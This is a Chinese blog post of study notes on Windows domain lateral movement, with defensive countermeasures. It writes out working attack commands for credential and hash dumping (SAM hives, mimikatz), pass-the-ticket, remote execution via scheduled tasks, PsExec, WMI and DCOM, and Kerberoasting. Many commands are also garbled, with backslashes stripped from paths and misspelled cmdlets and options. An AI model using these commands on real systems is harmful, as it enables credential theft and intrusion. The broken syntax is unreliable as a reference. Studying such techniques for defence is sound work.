域内横向移动分析及防御
前言
本篇继续阅读学习《内网安全攻防:渗透测试实战指南》,本章系统的介绍了域内横向移动的主要方法,复现并剖析了内网域方面最重要、最经典的漏洞,同时给出了相应的防范方法
本章内容包括:
- 常见远程连接方式的剖析
- 从密码学角度理解NTLM协议
- PTT和PTH的原理
- 如何利用PsExec、WMI、smbexec进行横向移动
- Kerberos协议的认证过程
- Windows认证加固方案
- Exchange邮件服务器渗透测试
之前也有过一些学习:内网渗透系列:横向渗透方法小结
一、常用Windows远程连接和命令
1、IPC
IPC(Internet Process Connection)是为了实现进程间通信而开放的命名管道
- 可以通过验证用户名和密码获得相应的权限
- 通过ipc$可以与目标机器建立连接,利用这个连接可以在目标机器上运行命令
建立一个ipc$
代码语言:javascript复制net use \192.168.1.10ipc$ "admin123" /user:administrator
(1)利用条件
- 开启139、445端口
- 管理员开启了默认共享
(2)连接失败的原因
- 用户名或密码错误
- 目标没有打开ipc$默认共享
- 不能成功连接目标的139、445端口
- 命令输入错误
2、Windows自带工具
(1)dir
在使用net use命令与远程目标机器建立ipc$后,可以使用dir命令列出远程主机中的文件
代码语言:javascript复制dir \192.168.1.10c$
(2)tasklist
在使用net use命令与远程目标机器建立ipc$后,可以使用tasklist命令列出远程主机上运行的进程
代码语言:javascript复制tasklist /S 192.168.1.10 /U administrator /P admin123
3、计划任务
(1)at
Windows server 2008之前的计划任务命令
代码语言:javascript复制//创建计划任务定时执行shell
at \192.168.1.10 4:11PM C:shell.bat
// 创建之后会有一个任务ID,指定任务ID可以删除
at \192.168.1.10 7 /delete
(2)schtasks
Windows server 2008之后的计划任务命令
代码语言:javascript复制//开机自启
schtasks /create /s 192.168.1.10 /tn test /sc onstart /tr C:calc.bat /ru system /f
//执行
schtasks /run /s 192.168.1.10 /i /tn "test"
//删除任务
schtasks /delete /s 192.168.1.10 /tn "test" /f
二、Windows系统散列值获取
1、LM Hash和NTLM Hash
Windows中使用两种方法对明文密码加密:
- LM Hash:“LAN Manager Hash”,本质是DES加密,还是硬编码密钥,限定14位(不足补0)。从Windows Vista和Windows Server 2008开始默认禁用,此时的LM Hash为aad3b435b51404eeaad3b435b51404ee(表示为空或被禁用)
- NTLM Hash:“New Technology LM Hash”,MD4加密,Windows Vista和Windows Server 2003之后都是用这个
Hash散列可以通过在线数据库、彩虹表等来破解,也可以使用PTH(Pass the Hash 哈希传递)来进行横向渗透
2、单机密码抓取
可以使用工具将散列值和明文密码从内存中的lsass.exe进程或SAM文件中导出
- 本地用户名、散列值和其他安全验证信息都保存在SAM文件中,SAM文件保存位置C:WindowsSystem32config,该文件不允许复制,但可以使用U盘进入PE系统进行复制
- lsass.exe进程用于实现Windows的本地安全策略和登陆策略
要想在Windows操作系统中抓取散列值或明文密码,必须将权限提升至System
(1)抓取
导出SAM文件和system文件,然后通过mimikatz或者Cain来从文件读取hash
代码语言:javascript复制reg save hklmsam sam.hive
reg save hklm'system system.hive
利用任务管理器或者微软出品的Procdump导出lsass.dmp文件,通过mimikatz来从内存文件中获取hash
Procdump下载地址:
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
一些工具:
- GetPassword
- PwDump7
- QuarksPwDump
- mimikatz
- PowerShell
(2)防范
Windows Server 2012开始默认关闭WDigest,使攻击者无法从内存中获取明文密码
2012以下版本,如果安装KB2871997补丁,同样效果
WDigest功能状态可以在注册表中查看修改,命令行中的开启和关闭如下
3、Hashcat
Hashcat只支持CPU破解;oclHashcat支持GPU破解(AMD、NIVDA),支持破解Windows密码、Linux密码、Office密码、Wi-Fi密码、MySQL密码、SQL Server密码,以及由MD5、SHA1、SHA256等国际主流加密算法加密的密码
下载地址:https://github.com/hashcat/hashcat
4、防范
防范措施:
- Windows Server 2012 R2新增了一个名为受保护的用户组(Protected Users),只要将需要保护的用户放入该组,攻击者就无法使用mimikatz等工具抓取明文密码和散列值了
- 安装KB2871997补丁,是微软用来解决PsExec或IPC远程查看(c$)问题的补丁,能使本地账号不再被允许远0程接入计算机系统,但是SID=500的本地管理员账号(默认Administrator)除外
- 微软在Windows XP中添加了一个名为WDigest的协议,该协议能够使Windows将明文密码存储在内存中,以方便用户登录本地计算机。修改注册表,使其不再这样做
- 根据Debug权限确定哪些用户可以将调试器附加到任何进程或内核中,默认情况下只有Administrator。mimikatz在抓取散列值或明文密码时需要使用Debug权限(因为mimikatz需要和lsass进程进行交互)。将Administrator从Debug组中移除
三、哈希传递攻击
哈希传递PTH(Pass the Hash)攻击:
- 在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本地管理员账号和密码
- 因此如果计算机的本地管理员账号和密码也是相同的,攻击者就能使用哈希传递攻击的方法登录内网中的其他计算机。
说白了就是使用工具将散列值传递到其他计算机中,进行权限验证,实现对远程计算机的控制
在实际测试中,更新KB287l997后无法使用常规的哈希传递方法进行横向移动,但Administrator账号(SID为500)例外——使用该账号的散列值依然可以进行哈希传递,需要强调的是SID为500的账号(即使Administrator账号改名也不影响SID值)
四、票据传递攻击
票据传递(Pass the Ticket,PTT)不需要本地管理员权限
1、mimikatz
代码语言:javascript复制//导出票据
mimikatz "privilege::debug" "sekurlsa::tickets /export"
//清除内存中的票据
mimikatz # kerberos::purge
//将票据注入内存
mimikatz "kerberos::ptt" "C:ticket<票据文件名>"
2、kekeo
kekeo需要使用域名、用户名、NTLM Hash三者配合生成票据
下载地址:https://github.com/gentilkiwi/kekeo
代码语言:javascript复制//生成票据
kekeo "tft::ask /user:administrator /domin:test.com /nltm:<nltm hash 值>"
//清除内存中其他票据
kekeo # kerberos::pruge
//导入内存
kerberos:: ptt <票据文件名>
3、防范
几个点:
使用dir命令时,必须使用主机名(使用IP地址就会导致错误)
票据文件注入内存的默认有效时间为10小时
在目标机器上不需要本地管理员权限即可进行票据传递
五、PsExec
PsExec是微软官方PsTools工具包中的软件
- 起初主要是用于大批量Windows主机的运维,在域环境下效果甚好
- 通过PsExec,可以在远程计算机上执行命令,也可以将管理员权限提升到System权限以运行指定的程序
- 可以在Windows server 2016 及以前使用
- 下载地址:https://download.sysinternals.com/files/PSTools.zip
PsExec的基本原理是:通过管道在远程目标计算机上创建一个psexec服务,并在本地磁盘中生成一个名为“PSEXECSVC”的二进制文件,然后通过psexec服务运行命令,运行结束后删除任务
需要远程系统开启admin$共享(默认是开启的),会产生大量日志
代码语言:javascript复制//获取system权限shell(已建立ipc$),不用-s的话获得的是administrator权限
PsExec.exe -accepteula \192.168.1.10 -s cmd.exe
//如果没有ipc$
PsExec.exe \192.168.1.10 -u administrator -p 123456 cmd.exe
六、WMI
WMI(Windows Management Instrumentation)是一系列工具集成
- 从Windows 98开始支持
- 可以在本地或者远程管理计算机系统
- 在使用wmiexec进行横向移动时,Windows默认不会记录WMI的操作日志
1、基本命令
基本的执行方式:
代码语言:javascript复制wmic /node:192.168.1.10 /user:administrator /password:admin123 process call create "cmd.exe" /c ipconfig > ip.txt"
使用wmic远程执行命令,在远程系统中启动Windows Management Instrumentation服务(目标服务器需要开放135端口,wmic会以管理员权限在远程系统中执行命令)。如果服务器开启了防火墙,wmic将无法进行连接。此外,wmic命令如果没有回显,可以将命令结果输出到某文件,并使用ipc$和type来读取信息。如果wmic执行的是恶意程序,将不会留下日志
2、其他工具
(1)impacket中的wmiexec
kali中下载impacket
- 成功连接之后会有一个交互式的命令行
- 主要用在linux->windows
wmiexec.py administrator:admin123@192.168.1.10
(2)wmiexec.vbs
wmiexec.vbs通过VBS调用WMI来模拟PsExec的功能(早就被查杀拉黑了)
代码语言:javascript复制//shell
cscript.exe //nologo wmiexec.vbs /shell 192.168.1.10 administrator admin123
//执行单条命令
cscript.exe wmiexec.vbs /cmd 192.168.1.10 administrator admin123 "ipconfig"
(3)Invoke-WMICommand
Invoke-WMICommand是PowerSpolit中的脚本,通过PowerShell调用WMI来远程执行命令
代码语言:javascript复制//目标用户名
$user = "testadministrator"
//目标密码
$password = ConverTo-SecureString -String "admin123" -AsPlainText -Force
//整合
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $user, $password
//远程执行
$remote = Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName 192.168.1.10
//输出
$remote.PayloadOutput
(4)Invoke-WMIMethod
Invoke-WMIMethod是powershell自带的
代码语言:javascript复制//目标用户名
$user = "testadministrator"
//目标密码
$password = ConverTo-SecureString -String "admin123" -AsPlainText -Force
//整合
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $user, $password
//远程执行
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "ipconfig" -ComputerName "192.168.1.10" -Credential $Cred
七、smbexec
smbexec可以通过文件共享(admin$、c$、 ipc$、d$)在远程系统中执行命令
下载地址:
- C 版:https://github.com/sunorr/smbexec
- Linux下工具包:https://github.com/brav0hax/smbexec
介绍了下使用方法
八、DCOM在远程系统中的使用
DCOM(Distributed Component Object Model,分布式组件对象模型)是微软的一系列概念和程序接口
- 基于组件对象模型(COM),COM提供了一套允许在同一台计算机上的客户端和服务端之间进行通信的接口(Win95及之后)
- 客户端程序对象能够对网络中的另一台计算机上的服务器程序对象发送请求
执行流程同样:
- 通过ipc$连接远程计算机
- 执行命令
1、通过本地DCOM执行命令
获取DCOM程序列表:
代码语言:javascript复制// Get-CimInstance在PowerShell 3.0上才有,即server2012及以上
Get-CimInstance Win32_DCOMApplication
// PowerShell 2.0可以用如下命令代替
Get-WmiObject -Namespace ROOTCIMV2 -Class Win32_DCOMApplication
2、使用DCOM在远程机器上执行命令
(1)调用MMC20.Application远程执行命令
代码语言:javascript复制net use \192.168.1.10 "admin123" /user:testxiaom
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.1.10"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c cmd.exe","")
(2)调用9BA05972-F6A8-11CF-A442-00A0C90A8F39
代码语言:javascript复制$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.1.10")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:windowssystem32",$null,0)关于这个方法的详细内容可以参考文章:https://bbs.pediy.com/thread-226540-1.htm
九、SPN在域环境中的应用
服务主体名称(Service Principal Name,SPN)
- 大量应用包含了多种资源
- 每种资源分配了不同的SPN
1、SPN扫描
因为域环境中的每台服务器都需要在Kerberos身份验证服务中注册SPN,所以攻击者会直接向域控制器发送查询请求,获取其需要的服务的SPN,从而知晓其需要使用的服务资源在哪台机器上。
SPN扫描也称作“扫描Kerberos服务实例名称”,在活动目录中发现服务的最佳方法就是SPN扫描。与网络端口扫描相比,SPN扫描的主要特点是不需要通过连接网络中的每个IP地址来检查服务端口(不会因触发内网中的IPS、IDS等设备的规则而产生大量的警告日志)。因为SPN查询是Kerberos票据行为的一部分,所以检测难度较大。
PowerShell-AD-Recon工具包提供了一系列服务与服务登录账号和运行服务的主机之间的对应关系,下载地址:
https://github.com/PyroTek3/PowerShell-AD-Recon
SPN是通过LDAP协议向域控制器进行查询的,所以,攻击者只要获得一个普通的域用户权限就可以进行SPN扫描
2、Kerberoast攻击
下载地址:https://github.com/nidem/kerberoast
详细可参考:内网渗透 | SPN 与 Kerberoast 攻击讲解
与之相关的还有一文了解黄金票据和白银票据
防御:
- 确保服务账号密码的长度超过25位
- 确保密码的随机性(避免相同)
- 定期修改密码
十、Exchange邮件服务器安全防范
电子邮件中可能包含大量的源码、企业内部通讯录、明文密码、敏感业务登陆地址及可以从外网访问内网的V**账号密码等信息
Exchange支持PowerShell对其进行本地或远程操作。
邮箱服务器、客户端访问服务器、集线传输服务器是核心角色,只要部署这三个角色就能提供基本的电子邮件处理功能,且这三个可以部署在同一台主机上。
邮件发送使用统一的通信协议,即SMTP(简单邮件传输协议);邮件接收则会使用多种协议标准,如从POP(邮局协议)发展而来的POP3,以及使用较为广泛的IMAP(Internet邮件访问协议)。Exchange开发了私有的MAPI协议用于收取邮件
Exchange支持的访问接口和协议:
- OWA(Outlook Web App):Exchange提供的Web邮箱
- EAC(Exchange Administrative Center):Exchange管理中心,后台
- Outlook Anywhere(RPC-over-HTTP,RPC/HTTP)
- MAPI(MAPI-over-HTTP,MAPI/HTTP)
- Exchange ActiveSync(EAS,XML/HTTP)
- Exchange Web Service(EWS,SOAP-over-HTTP)
Exchange服务发现:
- 基于端口扫描发现(nmap)
- SPN查询(在安装Exchange时,SPN就被注册在AD中了)
Exchange数据库的后缀为“.edb”,存储在Exchange服务器上,使用PowerShell可以查看相应信息
Exchange邮件的文件后缀为“.pst”
UNC(Universal Naming Convention,通用命名规则,也称通用命名规范、通用命名约定)。类似于\hostnamesharename,\ipaddresssharename的网络路径就是UNC路径,sharename为网络共享名称
查看邮件数据库
代码语言:javascript复制//查询之前需要安装命令
add-pssnapin microsoft.exchange *
Get-MailboxDatabase -server "Exchange1"
Get-MailboxDatabase -Identity 'Mailbox Database 1894576043' | Format-List Name,EdbFilePath,LogFolderPath
结语
一些经典的横向移动方法
许多都被查杀了已经
红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员,下属联合分队数支。红客突击队始终秉承先做人后技术的宗旨,旨在打造国际顶尖网络安全团队。